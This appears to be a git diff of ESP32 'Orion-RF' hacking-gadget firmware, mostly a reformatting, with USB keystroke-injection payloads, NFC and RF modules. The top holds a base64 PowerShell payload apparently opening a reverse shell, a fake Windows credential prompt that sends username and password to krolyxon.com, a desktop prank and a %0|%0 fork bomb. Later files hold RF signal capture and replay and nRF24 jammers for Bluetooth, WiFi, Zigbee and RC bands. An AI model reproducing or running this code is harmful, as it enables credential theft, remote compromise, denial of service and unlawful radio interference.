"ABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBhAG0"
"ALgBXAHIAaQB0AGUAKAAkAHMAZQBuAGQAYgB5AHQAZQAsADAALAAkAHMAZQBuAGQAYgB5A"
"HQAZQAuAEwAZQB"
"uAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAa"
"WVudAAuAEMAbABvAHMAZQAoACkAIgApACkAOwBJAG4AdgBvAGsAZQAtAEUAeABwAHIAZQB"
"zAHMAaQBvAG4AIAAoAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAb"
"gBnAF0AOgA6AFUAVABGADgALgBHAGUAdABTAHQAcgBpAGuAZwAoACQAcwAuAFQAbwBBAHI"
"AcgBhAHkAKAApACkAKQA=");
Keyboard.write(KEY_RETURN);
break;
// ================= CREDENTIAL SNATCHER =================
case 11:
showRunningScreen("Vault Crack");
Keyboard.write(KEY_RETURN);
break;
// ================= CREDENTIAL SNATCHER =================
case 11:
showRunningScreen("Vault Crack");
// Open hidden PowerShell
runCommand("powershell -nop -W Hidden -c \"$cred = $host.ui.PromptForCredential('Windows Security','Please authenticate to update your system credentials.','',''); $p = $cred.GetNetworkCredential().Password; $u = $cred.UserName; Invoke-WebRequest -Uri 'http://krolyxon.com/log?u='+$u+'&p='+$p\"");
// Open hidden PowerShell
runCommand(
"powershell -nop -W Hidden -c \"$cred = "
"$host.ui.PromptForCredential('Windows Security','Please authenticate "
"to update your system credentials.','',''); $p = "
"$cred.GetNetworkCredential().Password; $u = $cred.UserName; "
"Invoke-WebRequest -Uri 'http://krolyxon.com/log?u='+$u+'&p='+$p\"");
break;
// ================= DESKTOP GHOST =================
case 12:
showRunningScreen("Ghost Mode");
break;
// ================= DESKTOP GHOST =================
case 12:
showRunningScreen("Ghost Mode");
runCommand("powershell -nop -W Hidden -c \"Add-Type -AssemblyName System.Windows.Forms; [System.Windows.Forms.SendKeys]::SendWait('{PRTSC}'); Start-Sleep -s 1; $path = '$env:TEMP\\bg.png'; (Get-Clipboard -Format Image).Save($path); Set-ItemProperty -Path 'HKCU:\\Control Panel\\Desktop' -Name Wallpaper -Value $path; rundll32.exe user32.dll,UpdatePerUserSystemParameters;\"");
runCommand("powershell -nop -W Hidden -c \"Add-Type -AssemblyName "
"System.Windows.Forms; "
"[System.Windows.Forms.SendKeys]::SendWait('{PRTSC}'); "
"Start-Sleep -s 1; $path = '$env:TEMP\\bg.png'; (Get-Clipboard "
"-Format Image).Save($path); Set-ItemProperty -Path "
"'HKCU:\\Control Panel\\Desktop' -Name Wallpaper -Value $path; "
"rundll32.exe user32.dll,UpdatePerUserSystemParameters;\"");
// Hide Desktop Icons (requires a registry tweak)
typeSlow("reg add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced /v HideIcons /t REG_DWORD /d 1 /f && taskkill /f /im explorer.exe && start explorer.exe");
Keyboard.write(KEY_RETURN);
// Hide Desktop Icons (requires a registry tweak)
typeSlow("reg add "
"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Adv"
"anced /v HideIcons /t REG_DWORD /d 1 /f && taskkill /f /im "
"explorer.exe && start explorer.exe");
Keyboard.write(KEY_RETURN);
break;
// ================= FORK BOMB =================
case 13:
showRunningScreen("System Stress");
break;
// ================= FORK BOMB =================
case 13:
showRunningScreen("System Stress");
runCommand("cmd");
delay(500);
runCommand("cmd");
delay(500);
// The shortest deadly command in Windows
typeSlow("%0|%0");
Keyboard.write(KEY_RETURN);
// The shortest deadly command in Windows
typeSlow("%0|%0");
Keyboard.write(KEY_RETURN);
break;
break;
}
}
}

View File

@ -2,9 +2,9 @@
#include <USB.h>
#include <USBHIDKeyboard.h>
#include "libs/BleMouse.h"
#include <BLEDevice.h>
#include <BLEScan.h>
#include "libs/BleMouse.h"
#include <RF24.h>
#include <nRF24L01.h>
@ -14,15 +14,14 @@
#include <WiFi.h>
#include <esp_wifi.h>
#include <SPI.h>
#include <esp_chip_info.h>
#include <esp_heap_caps.h>
#include <esp_system.h>
#include <SPI.h>
#include "ui/display.h"
#include "utils/buttons.h"
#include "ui/menu.h"
#include "utils/buttons.h"
#include "config.h"
#include "rf/cc1101.h"
@ -33,12 +32,10 @@ USBHIDKeyboard Keyboard;
// ===== BLE MOUSE =====
BleMouse bleMouse("Orion-RF", "Orion-RF", 100);
RF24 radio1(CE1_PIN, CSN1_PIN);
RF24 radio2(CE2_PIN, CSN2_PIN);
SPIClass *RADIO_SPI;
void deactivateNRF1() {
digitalWrite(CSN1_PIN, HIGH);
digitalWrite(CE1_PIN, LOW);
@ -49,94 +46,80 @@ void deactivateNRF2() {
digitalWrite(CE2_PIN, LOW);
}
// ================= SYSTEM INFO =================
void printSystemUsage()
{
esp_chip_info_t chip_info;
void printSystemUsage() {
esp_chip_info_t chip_info;
esp_chip_info(&chip_info);
esp_chip_info(&chip_info);
Serial.printf("CPU cores: %d\n", chip_info.cores);
Serial.printf("CPU cores: %d\n", chip_info.cores);
Serial.printf(
"Free heap: %d bytes\n",
heap_caps_get_free_size(MALLOC_CAP_DEFAULT)
);
Serial.printf("Free heap: %d bytes\n",
heap_caps_get_free_size(MALLOC_CAP_DEFAULT));
Serial.printf(
"PSRAM free: %d bytes\n",
heap_caps_get_free_size(MALLOC_CAP_SPIRAM)
);
Serial.printf("PSRAM free: %d bytes\n",
heap_caps_get_free_size(MALLOC_CAP_SPIRAM));
}
void showSplash()
{
u8g2.clearBuffer();
void showSplash() {
u8g2.clearBuffer();
u8g2.setFont(u8g2_font_logisoso20_tr); // big font
u8g2.drawStr(10, 40, "Orion-RF");
u8g2.setFont(u8g2_font_logisoso20_tr); // big font
u8g2.drawStr(10, 40, "Orion-RF");
u8g2.setFont(u8g2_font_5x8_tr); // small subtitle
u8g2.drawStr(25, 58, "Initializing...");
u8g2.setFont(u8g2_font_5x8_tr); // small subtitle
u8g2.drawStr(25, 58, "Initializing...");
u8g2.sendBuffer();
u8g2.sendBuffer();
delay(1500); // 1.5 sec
delay(1500); // 1.5 sec
}
// ================= SETUP =================
void setup()
{
Serial.begin(115200);
void setup() {
Serial.begin(115200);
displayInit();
showSplash();
displayInit();
showSplash();
buttonsInit();
menuInit();
buttonsInit();
menuInit();
delay(1500);
delay(1500);
USB.begin();
Keyboard.begin();
USB.begin();
Keyboard.begin();
// NRF SPI safety
// pinMode(CSN1_PIN, OUTPUT);
// digitalWrite(CSN1_PIN, HIGH);
// pinMode(CSN2_PIN, OUTPUT);
// digitalWrite(CSN2_PIN, HIGH);
deactivateNRF1();
deactivateNRF2();
// NRF SPI safety
//pinMode(CSN1_PIN, OUTPUT);
//digitalWrite(CSN1_PIN, HIGH);
RADIO_SPI = new SPIClass(FSPI);
RADIO_SPI->begin(NRF_SCK, NRF_MISO, NRF_MOSI);
//pinMode(CSN2_PIN, OUTPUT);
//digitalWrite(CSN2_PIN, HIGH);
deactivateNRF1();
deactivateNRF2();
// ===== CC1101 SPI INIT =====
// SPI.begin(
// cc1101_SCK,
// cc1101_MISO,
// cc1101_MOSI,
// CC1101_CS
//);
RADIO_SPI = new SPIClass(FSPI);
RADIO_SPI->begin(NRF_SCK, NRF_MISO, NRF_MOSI);
// pinMode(CC1101_CS, OUTPUT);
// pinMode(CC1101_2_CS, OUTPUT);
// ===== CC1101 SPI INIT =====
//SPI.begin(
// cc1101_SCK,
// cc1101_MISO,
// cc1101_MOSI,
// CC1101_CS
//);
// digitalWrite(CC1101_CS, HIGH);
// digitalWrite(CC1101_2_CS, HIGH);
//pinMode(CC1101_CS, OUTPUT);
//pinMode(CC1101_2_CS, OUTPUT);
printSystemUsage();
//digitalWrite(CC1101_CS, HIGH);
//digitalWrite(CC1101_2_CS, HIGH);
printSystemUsage();
Serial.println("SYSTEM READY");
Serial.println("SYSTEM READY");
}
// ================= LOOP =================
void loop()
{
menuLoop();
}
void loop() { menuLoop(); }

View File

@ -1,117 +1,104 @@
#include "nfc.h"
#include <Adafruit_PN532.h>
#include <Arduino.h>
#include <Wire.h>
#include <Adafruit_PN532.h>
#include "ui/display.h"
#include "../utils/buttons.h"
#include "../config.h"
#include "../utils/buttons.h"
#include "ui/display.h"
#define PN532_IRQ -1
#define PN532_IRQ -1
#define PN532_RESET -1
//Adafruit_PN532 nfc(Wire);
// Adafruit_PN532 nfc(Wire);
Adafruit_PN532 nfc(PN532_IRQ, PN532_RESET, &Wire);
void drawWaiting()
{
u8g2.clearBuffer();
void drawWaiting() {
u8g2.clearBuffer();
u8g2.drawStr(10, 20, "PN532 Ready");
u8g2.drawStr(10, 40, "Tap NFC Card");
u8g2.drawStr(10, 20, "PN532 Ready");
u8g2.drawStr(10, 40, "Tap NFC Card");
u8g2.sendBuffer();
u8g2.sendBuffer();
}
void showUID(uint8_t *uid, uint8_t uidLength)
{
char line[64];
void showUID(uint8_t *uid, uint8_t uidLength) {
char line[64];
String uidStr = "";
String uidStr = "";
for (int i = 0; i < uidLength; i++)
{
if (uid[i] < 0x10)
uidStr += "0";
for (int i = 0; i < uidLength; i++) {
if (uid[i] < 0x10)
uidStr += "0";
uidStr += String(uid[i], HEX);
uidStr += " ";
}
uidStr += String(uid[i], HEX);
uidStr += " ";
}
uidStr.toUpperCase();
uidStr.toUpperCase();
u8g2.clearBuffer();
u8g2.drawStr(0, 15, "Card Detected");
snprintf(line, sizeof(line), "UID:");
u8g2.drawStr(0, 35, line);
u8g2.drawStr(0, 50, uidStr.c_str());
u8g2.sendBuffer();
}
void pn532_init() {
delay(100);
nfc.begin();
delay(100);
uint32_t versiondata = nfc.getFirmwareVersion();
if (!versiondata) {
Serial.println("PN532 not found");
u8g2.clearBuffer();
u8g2.drawStr(0, 15, "Card Detected");
snprintf(line, sizeof(line), "UID:");
u8g2.drawStr(0, 35, line);
u8g2.drawStr(0, 50, uidStr.c_str());
u8g2.drawStr(0, 20, "PN532 NOT FOUND");
u8g2.sendBuffer();
delay(2000);
return;
}
Serial.println("PN532 initialized");
nfc.SAMConfig();
}
void pn532_init()
{
delay(100);
nfc.begin();
delay(100);
void pn532_scan_loop() {
pn532_init();
uint32_t versiondata = nfc.getFirmwareVersion();
drawWaiting();
if (!versiondata)
{
Serial.println("PN532 not found");
while (1) {
uint8_t success;
uint8_t uid[7];
uint8_t uidLength;
u8g2.clearBuffer();
u8g2.drawStr(0, 20, "PN532 NOT FOUND");
u8g2.sendBuffer();
Serial.println("Scanning...");
success =
nfc.readPassiveTargetID(PN532_MIFARE_ISO14443A, uid, &uidLength, 50);
delay(2000);
return;
if (success) {
Serial.println("Card detected");
showUID(uid, uidLength);
delay(1000);
}
Serial.println("PN532 initialized");
nfc.SAMConfig();
}
void pn532_scan_loop()
{
pn532_init();
drawWaiting();
while (1)
{
uint8_t success;
uint8_t uid[7];
uint8_t uidLength;
Serial.println("Scanning...");
success = nfc.readPassiveTargetID(
PN532_MIFARE_ISO14443A,
uid,
&uidLength,
50
);
if (success)
{
Serial.println("Card detected");
showUID(uid, uidLength);
delay(1000);
}
if (btnBack())
{
delay(150);
break;
}
if (btnBack()) {
delay(150);
break;
}
}
}

View File

@ -1,10 +1,10 @@
#include <Arduino.h>
#include "../libs/ELECHOUSE_CC1101_SRC_DRV.h"
#include "cc1101.h"
#include "../config.h"
#include "SPI.h"
#include "../libs/ELECHOUSE_CC1101_SRC_DRV.h"
#include "../ui/display.h"
#include "../utils/buttons.h"
#include "SPI.h"
#include <Arduino.h>
// ===== CONFIG =====
#define RAW_BUF_MAX 512
@ -26,383 +26,332 @@ float rxBW = 325.0;
int powerLevel = 10;
// ===== ISR =====
void IRAM_ATTR pulseISR()
{
unsigned long now = micros();
void IRAM_ATTR pulseISR() {
unsigned long now = micros();
if (!capturing) return;
if (pulseIndex >= RAW_BUF_MAX) return;
if (!capturing)
return;
if (pulseIndex >= RAW_BUF_MAX)
return;
unsigned long duration = now - lastEdgeTime;
unsigned long duration = now - lastEdgeTime;
if (duration < 150) return;
if (duration < 150)
return;
captureBuffer[pulseIndex++] = duration;
lastEdgeTime = now;
captureBuffer[pulseIndex++] = duration;
lastEdgeTime = now;
}
// ===== OOK SETUP =====
void setupOOKMode()
{
ELECHOUSE_cc1101.SetRx();
ELECHOUSE_cc1101.setMHZ(currentFreq);
void setupOOKMode() {
ELECHOUSE_cc1101.SetRx();
ELECHOUSE_cc1101.setMHZ(currentFreq);
ELECHOUSE_cc1101.setModulation(2); // ASK/OOK
ELECHOUSE_cc1101.setDRate(dataRate);
ELECHOUSE_cc1101.setDeviation(0);
ELECHOUSE_cc1101.setRxBW(rxBW);
ELECHOUSE_cc1101.setSyncMode(0);
ELECHOUSE_cc1101.setPA(powerLevel);
ELECHOUSE_cc1101.setModulation(2); // ASK/OOK
ELECHOUSE_cc1101.setDRate(dataRate);
ELECHOUSE_cc1101.setDeviation(0);
ELECHOUSE_cc1101.setRxBW(rxBW);
ELECHOUSE_cc1101.setSyncMode(0);
ELECHOUSE_cc1101.setPA(powerLevel);
}
// ===== INIT (LAZY, SAFE) =====
// ================= CC1101 INIT =================
bool initCC1101()
{
Serial.println();
Serial.println("===== CC1101 INIT =====");
bool initCC1101() {
Serial.println();
Serial.println("===== CC1101 INIT =====");
// ===== SPI =====
SPI.begin(
cc1101_SCK,
cc1101_MISO,
cc1101_MOSI,
CC1101_CS
);
// ===== SPI =====
SPI.begin(cc1101_SCK, cc1101_MISO, cc1101_MOSI, CC1101_CS);
pinMode(CC1101_CS, OUTPUT);
digitalWrite(CC1101_CS, HIGH);
pinMode(CC1101_CS, OUTPUT);
digitalWrite(CC1101_CS, HIGH);
delay(100);
delay(100);
// ===== GDO =====
ELECHOUSE_cc1101.setGDO(
CC1101_GDO0,
-1
);
// ===== GDO =====
ELECHOUSE_cc1101.setGDO(CC1101_GDO0, -1);
ELECHOUSE_cc1101.setSpiPin(
cc1101_SCK,
cc1101_MISO,
cc1101_MOSI,
CC1101_CS
);
ELECHOUSE_cc1101.setSpiPin(cc1101_SCK, cc1101_MISO, cc1101_MOSI, CC1101_CS);
// ===== DETECT =====
Serial.println("Checking chip...");
// ===== DETECT =====
Serial.println("Checking chip...");
if (!ELECHOUSE_cc1101.getCC1101())
{
Serial.println("❌ CC1101 NOT FOUND");
return false;
}
if (!ELECHOUSE_cc1101.getCC1101()) {
Serial.println("❌ CC1101 NOT FOUND");
return false;
}
Serial.println("✅ CC1101 FOUND");
Serial.println("✅ CC1101 FOUND");
// ===== IMPORTANT =====
// DO NOT CALL Init()
// it freezes on some ESP32-S3 setups
// ===== IMPORTANT =====
// DO NOT CALL Init()
// it freezes on some ESP32-S3 setups
// ===== MANUAL CONFIG =====
ELECHOUSE_cc1101.setMHZ(currentFreq);
// ===== MANUAL CONFIG =====
ELECHOUSE_cc1101.setMHZ(currentFreq);
// 2 = ASK/OOK
ELECHOUSE_cc1101.setModulation(2);
// 2 = ASK/OOK
ELECHOUSE_cc1101.setModulation(2);
ELECHOUSE_cc1101.setDRate(dataRate);
ELECHOUSE_cc1101.setDRate(dataRate);
ELECHOUSE_cc1101.setRxBW(rxBW);
ELECHOUSE_cc1101.setRxBW(rxBW);
ELECHOUSE_cc1101.setDeviation(0);
ELECHOUSE_cc1101.setDeviation(0);
// disable sync requirement
ELECHOUSE_cc1101.setSyncMode(0);
// disable sync requirement
ELECHOUSE_cc1101.setSyncMode(0);
ELECHOUSE_cc1101.setPA(powerLevel);
ELECHOUSE_cc1101.setPA(powerLevel);
// async serial mode
ELECHOUSE_cc1101.setCCMode(0);
// async serial mode
ELECHOUSE_cc1101.setCCMode(0);
// enter RX
ELECHOUSE_cc1101.SetRx();
// enter RX
ELECHOUSE_cc1101.SetRx();
pinMode(CC1101_GDO0, INPUT);
pinMode(CC1101_GDO0, INPUT);
Serial.println("✅ RX MODE READY");
Serial.println("✅ RX MODE READY");
cc1101Inited = true;
return true;
cc1101Inited = true;
return true;
}
// ===== CAPTURE CONTROL =====
void startCapture()
{
pulseIndex = 0;
capturing = true;
lastEdgeTime = micros();
void startCapture() {
pulseIndex = 0;
capturing = true;
lastEdgeTime = micros();
attachInterrupt(
digitalPinToInterrupt(CC1101_GDO0),
pulseISR,
CHANGE
);
attachInterrupt(digitalPinToInterrupt(CC1101_GDO0), pulseISR, CHANGE);
Serial.println("Looking for RF... ");
Serial.println("Looking for RF... ");
}
bool isCC1101Ready() {
return cc1101Inited;
}
bool isCC1101Ready() { return cc1101Inited; }
void stopCapture()
{
capturing = false;
void stopCapture() {
capturing = false;
detachInterrupt(digitalPinToInterrupt(CC1101_GDO0));
detachInterrupt(digitalPinToInterrupt(CC1101_GDO0));
Serial.println("Capture stopped");
Serial.println("Capture stopped");
}
// ===== DEBUG PRINT =====
void printCapture()
{
Serial.println("Captured pulses:");
void printCapture() {
Serial.println("Captured pulses:");
for (int i = 0; i < pulseIndex; i++)
{
Serial.println(captureBuffer[i]);
}
for (int i = 0; i < pulseIndex; i++) {
Serial.println(captureBuffer[i]);
}
}
// ================= REPLAY =================
void replaySignal()
{
Serial.println();
Serial.println("Replaying signal...");
void replaySignal() {
Serial.println();
Serial.println("Replaying signal...");
stopCapture();
stopCapture();
ELECHOUSE_cc1101.SetTx();
ELECHOUSE_cc1101.SetTx();
pinMode(CC1101_GDO0, OUTPUT);
pinMode(CC1101_GDO0, OUTPUT);
for (int i = 0; i < pulseIndex; i++)
{
digitalWrite(
CC1101_GDO0,
(i % 2 == 0) ? HIGH : LOW
);
for (int i = 0; i < pulseIndex; i++) {
digitalWrite(CC1101_GDO0, (i % 2 == 0) ? HIGH : LOW);
delayMicroseconds(captureBuffer[i]);
}
delayMicroseconds(captureBuffer[i]);
}
digitalWrite(CC1101_GDO0, LOW);
digitalWrite(CC1101_GDO0, LOW);
ELECHOUSE_cc1101.SetRx();
ELECHOUSE_cc1101.SetRx();
pinMode(CC1101_GDO0, INPUT);
pinMode(CC1101_GDO0, INPUT);
Serial.println("Replay complete");
Serial.println("Replay complete");
}
void captureAndDisplay() {
if (!cc1101Inited) {
if (!initCC1101()) {
u8g2.clearBuffer();
u8g2.setFont(u8g2_font_6x10_tr);
u8g2.drawStr(0, 20, "CC1101 Failed");
u8g2.sendBuffer();
return;
}
}
void captureAndDisplay()
{
if (!cc1101Inited)
{
if (!initCC1101())
{
u8g2.clearBuffer();
u8g2.setFont(u8g2_font_6x10_tr);
u8g2.drawStr(0, 20, "CC1101 Failed");
u8g2.sendBuffer();
return;
}
startCapture();
u8g2.clearBuffer();
u8g2.setFont(u8g2_font_6x10_tr);
u8g2.drawStr(0, 12, "CC1101 Capture");
u8g2.drawStr(0, 28, "Waiting RF...");
u8g2.drawStr(0, 60, "BACK = Exit");
u8g2.sendBuffer();
unsigned long lastSignal = millis();
int lastPulseCount = 0;
while (true) {
// signal detected
if (pulseIndex > lastPulseCount) {
lastPulseCount = pulseIndex;
lastSignal = millis();
}
startCapture();
// update OLED
u8g2.clearBuffer();
u8g2.setFont(u8g2_font_6x10_tr);
u8g2.drawStr(0, 12, "CC1101 Capture");
u8g2.setCursor(0, 28);
u8g2.print("Pulses: ");
u8g2.print(pulseIndex);
u8g2.setCursor(0, 42);
u8g2.print("Freq: ");
u8g2.print(currentFreq);
u8g2.print(" MHz");
if (pulseIndex > 0) {
u8g2.drawStr(0, 54, "Signal Detected");
} else {
u8g2.drawStr(0, 54, "Waiting...");
}
u8g2.sendBuffer();
// auto print once capture stabilizes
if (pulseIndex > 20 && (millis() - lastSignal > 1500)) {
stopCapture();
Serial.println();
Serial.println("===== RF CAPTURE =====");
for (int i = 0; i < pulseIndex; i++) {
Serial.print(captureBuffer[i]);
Serial.print(", ");
}
Serial.println();
u8g2.clearBuffer();
u8g2.setFont(u8g2_font_6x10_tr);
u8g2.drawStr(0, 15, "Capture Complete");
u8g2.setCursor(0, 35);
}
}
}
void handleMenu() {
if (!isCC1101Ready()) {
if (!initCC1101()) {
u8g2.clearBuffer();
u8g2.setFont(u8g2_font_6x10_tr);
u8g2.drawStr(0, 20, "CC1101 Failed");
u8g2.sendBuffer();
delay(1500);
return;
}
}
pulseIndex = 0;
startCapture();
// ===== CAPTURE FOR 5 SEC =====
unsigned long start = millis();
while (millis() - start < 5000) {
noInterrupts();
int count = pulseIndex;
interrupts();
u8g2.clearBuffer();
u8g2.setFont(u8g2_font_6x10_tr);
u8g2.drawStr(0, 12, "CC1101 Capture");
u8g2.drawStr(0, 28, "Waiting RF...");
u8g2.drawStr(0, 60, "BACK = Exit");
u8g2.drawStr(0, 12, "RF Capturing...");
u8g2.setCursor(0, 30);
u8g2.print("Pulses: ");
u8g2.print(count);
u8g2.sendBuffer();
unsigned long lastSignal = millis();
int lastPulseCount = 0;
delay(50);
}
while (true)
{
// signal detected
if (pulseIndex > lastPulseCount)
{
lastPulseCount = pulseIndex;
lastSignal = millis();
}
stopCapture();
// update OLED
u8g2.clearBuffer();
u8g2.setFont(u8g2_font_6x10_tr);
// ===== DISPLAY CAPTURE BUFFER =====
int scroll = 0;
u8g2.drawStr(0, 12, "CC1101 Capture");
while (1) {
noInterrupts();
int count = pulseIndex;
interrupts();
u8g2.setCursor(0, 28);
u8g2.print("Pulses: ");
u8g2.print(pulseIndex);
u8g2.clearBuffer();
u8g2.setFont(u8g2_font_5x8_tr);
u8g2.setCursor(0, 42);
u8g2.print("Freq: ");
u8g2.print(currentFreq);
u8g2.print(" MHz");
u8g2.drawStr(0, 8, "Captured Buffer");
if (pulseIndex > 0)
{
u8g2.drawStr(0, 54, "Signal Detected");
}
else
{
u8g2.drawStr(0, 54, "Waiting...");
}
// display 6 lines
for (int i = 0; i < 6; i++) {
int idx = scroll + i;
u8g2.sendBuffer();
if (idx >= count)
break;
// auto print once capture stabilizes
if (pulseIndex > 20 && (millis() - lastSignal > 1500))
{
stopCapture();
noInterrupts();
unsigned long val = captureBuffer[idx];
interrupts();
Serial.println();
Serial.println("===== RF CAPTURE =====");
char buf[32];
for (int i = 0; i < pulseIndex; i++)
{
Serial.print(captureBuffer[i]);
Serial.print(", ");
}
snprintf(buf, sizeof(buf), "%03d: %lu", idx, val);
Serial.println();
u8g2.clearBuffer();
u8g2.setFont(u8g2_font_6x10_tr);
u8g2.drawStr(0, 15, "Capture Complete");
u8g2.setCursor(0, 35);
}
}
}
void handleMenu()
{
if (!isCC1101Ready())
{
if (!initCC1101())
{
u8g2.clearBuffer();
u8g2.setFont(u8g2_font_6x10_tr);
u8g2.drawStr(0, 20, "CC1101 Failed");
u8g2.sendBuffer();
delay(1500);
return;
}
u8g2.drawStr(0, 20 + (i * 8), buf);
}
pulseIndex = 0;
u8g2.sendBuffer();
startCapture();
// scroll down
if (btnDown()) {
if (scroll < count - 1)
scroll++;
// ===== CAPTURE FOR 5 SEC =====
unsigned long start = millis();
while (millis() - start < 5000)
{
noInterrupts();
int count = pulseIndex;
interrupts();
u8g2.clearBuffer();
u8g2.setFont(u8g2_font_6x10_tr);
u8g2.drawStr(0, 12, "RF Capturing...");
u8g2.setCursor(0, 30);
u8g2.print("Pulses: ");
u8g2.print(count);
u8g2.sendBuffer();
delay(50);
delay(120);
}
stopCapture();
// scroll up
if (btnUp()) {
if (scroll > 0)
scroll--;
// ===== DISPLAY CAPTURE BUFFER =====
int scroll = 0;
while (1)
{
noInterrupts();
int count = pulseIndex;
interrupts();
u8g2.clearBuffer();
u8g2.setFont(u8g2_font_5x8_tr);
u8g2.drawStr(0, 8, "Captured Buffer");
// display 6 lines
for (int i = 0; i < 6; i++)
{
int idx = scroll + i;
if (idx >= count)
break;
noInterrupts();
unsigned long val = captureBuffer[idx];
interrupts();
char buf[32];
snprintf(buf, sizeof(buf), "%03d: %lu", idx, val);
u8g2.drawStr(0, 20 + (i * 8), buf);
}
u8g2.sendBuffer();
// scroll down
if (btnDown())
{
if (scroll < count - 1)
scroll++;
delay(120);
}
// scroll up
if (btnUp())
{
if (scroll > 0)
scroll--;
delay(120);
}
// replay
if (btnSelect())
{
replaySignal();
delay(300);
}
// exit
if (btnBack())
{
delay(150);
return;
}
delay(20);
delay(120);
}
// replay
if (btnSelect()) {
replaySignal();
delay(300);
}
// exit
if (btnBack()) {
delay(150);
return;
}
delay(20);
}
}

View File

@ -1,8 +1,8 @@
#include <Arduino.h>
#include <RF24.h>
#include "nrf24.h"
#include "../ui/display.h"
#include "../utils/buttons.h"
#include <Arduino.h>
#include <RF24.h>
#define JAM_DURATION 500
extern SPIClass *RADIO_SPI;
@ -11,239 +11,206 @@ extern RF24 radio2;
// ============ CHANNELS =============
const byte bleChannels[] = {2, 26, 80};
const byte bluetoothChannels[] = {
32, 34, 46, 48, 50, 52,
0, 1, 2, 4, 6, 8,
22, 24, 26, 28, 30,
74, 76, 78, 80
};
const byte wifiChannels[] = {
12, 17, 22, 27, 32,
37, 42, 47, 52, 57,
62, 67, 72
};
const byte usbWireless_channels[] = {40, 50, 60};
const byte bluetoothChannels[] = {32, 34, 46, 48, 50, 52, 0, 1, 2, 4, 6,
8, 22, 24, 26, 28, 30, 74, 76, 78, 80};
const byte wifiChannels[] = {12, 17, 22, 27, 32, 37, 42,
47, 52, 57, 62, 67, 72};
const byte usbWireless_channels[] = {40, 50, 60};
const byte videoTransmitter_channels[] = {70, 75, 80};
const byte zigbee_channels[] = {11, 15, 20, 25};
const byte rc_channels[] = {1, 3, 5, 7};
const byte zigbee_channels[] = {11, 15, 20, 25};
const byte rc_channels[] = {1, 3, 5, 7};
void initNRF(RF24 &radio)
{
if (!radio.begin(RADIO_SPI)) {
Serial.println("NRF not found");
return;
}
radio.setAutoAck(false);
radio.stopListening();
radio.setRetries(0, 0);
radio.setPALevel(RF24_PA_MAX, true);
radio.setDataRate(RF24_2MBPS);
radio.openWritingPipe(0xE7E7E7E7E7LL);
radio.setCRCLength(RF24_CRC_DISABLED);
Serial.println("NRF Initialized");
void initNRF(RF24 &radio) {
if (!radio.begin(RADIO_SPI)) {
Serial.println("NRF not found");
return;
}
radio.setAutoAck(false);
radio.stopListening();
radio.setRetries(0, 0);
radio.setPALevel(RF24_PA_MAX, true);
radio.setDataRate(RF24_2MBPS);
radio.openWritingPipe(0xE7E7E7E7E7LL);
radio.setCRCLength(RF24_CRC_DISABLED);
Serial.println("NRF Initialized");
}
//void startBleJammer() {
// initNRF(radio1);
// initNRF(radio2);
// void startBleJammer() {
// initNRF(radio1);
// initNRF(radio2);
//
// Serial.println("NRF JAMMER STARTED");
// Serial.println("NRF JAMMER STARTED");
//
// const char payload[] = "xxxxxxxxxxxxxxxx";
// const char payload[] = "xxxxxxxxxxxxxxxx";
//
// u8g2.clearBuffer();
// u8g2.drawStr(0, 10, "Jamming:");
// u8g2.setCursor(60, 10);
// u8g2.print("Bluetooth");
// u8g2.sendBuffer();
// u8g2.clearBuffer();
// u8g2.drawStr(0, 10, "Jamming:");
// u8g2.setCursor(60, 10);
// u8g2.print("Bluetooth");
// u8g2.sendBuffer();
//
// while(true) {
// while(true) {
//
// // Channels (you can change this set)
// const byte channels[] = {2, 26, 80};
// // Channels (you can change this set)
// const byte channels[] = {2, 26, 80};
//
//
// for (int i = 0; i < sizeof(channels); i++) {
// radio1.setChannel(channels[i]);
// radio1.write(&payload, sizeof(payload));
// //radio2.setChannel(channels[i]);
// //radio2.write(&payload, sizeof(payload));
// }
// for (int i = 0; i < sizeof(channels); i++) {
// radio1.setChannel(channels[i]);
// radio1.write(&payload, sizeof(payload));
// //radio2.setChannel(channels[i]);
// //radio2.write(&payload, sizeof(payload));
// }
//
// if (btnBack())
// {
// Serial.println("Jammer stopped");
// return;
// }
// }
// if (btnBack())
// {
// Serial.println("Jammer stopped");
// return;
// }
// }
//
//}
// }
//
//void startBluetoothJammer()
// void startBluetoothJammer()
//{
// initNRF(radio1);
// initNRF(radio2);
// initNRF(radio1);
// initNRF(radio2);
//
// Serial.println("NRF JAMMER STARTED");
// Serial.println("NRF JAMMER STARTED");
//
// const char payload[] = "xxxxxxxxxxxxxxxx";
// const char payload[] = "xxxxxxxxxxxxxxxx";
//
// u8g2.clearBuffer();
// u8g2.drawStr(0, 10, "Jamming:");
// u8g2.setCursor(60, 10);
// u8g2.print("Bluetooth");
// u8g2.sendBuffer();
// u8g2.clearBuffer();
// u8g2.drawStr(0, 10, "Jamming:");
// u8g2.setCursor(60, 10);
// u8g2.print("Bluetooth");
// u8g2.sendBuffer();
//
// while(true) {
// while(true) {
//
// // Channels (you can change this set)
// const byte channels[] = {32, 34, 46, 48, 50, 52, 0, 1, 2, 4, 6, 8, 22, 24, 26, 28, 30, 74, 76, 78, 80};
// // Channels (you can change this set)
// const byte channels[] = {32, 34, 46, 48, 50, 52, 0, 1, 2, 4, 6, 8, 22,
// 24, 26, 28, 30, 74, 76, 78, 80};
//
//
// for (int i = 0; i < sizeof(channels); i++) {
// radio1.setChannel(channels[i]);
// radio1.write(&payload, sizeof(payload));
// //radio2.setChannel(channels[i]);
// //radio2.write(&payload, sizeof(payload));
// }
// for (int i = 0; i < sizeof(channels); i++) {
// radio1.setChannel(channels[i]);
// radio1.write(&payload, sizeof(payload));
// //radio2.setChannel(channels[i]);
// //radio2.write(&payload, sizeof(payload));
// }
//
// if (btnBack())
// {
// Serial.println("Jammer stopped");
// return;
// }
// }
//}
// if (btnBack())
// {
// Serial.println("Jammer stopped");
// return;
// }
// }
// }
void startJammer(const char* name, const byte* channels, size_t channelCount)
{
initNRF(radio1);
initNRF(radio2);
void startJammer(const char *name, const byte *channels, size_t channelCount) {
initNRF(radio1);
initNRF(radio2);
Serial.println("NRF JAMMER STARTED");
Serial.println("NRF JAMMER STARTED");
const char payload[] = "xxxxxxxxxxxxxxxx";
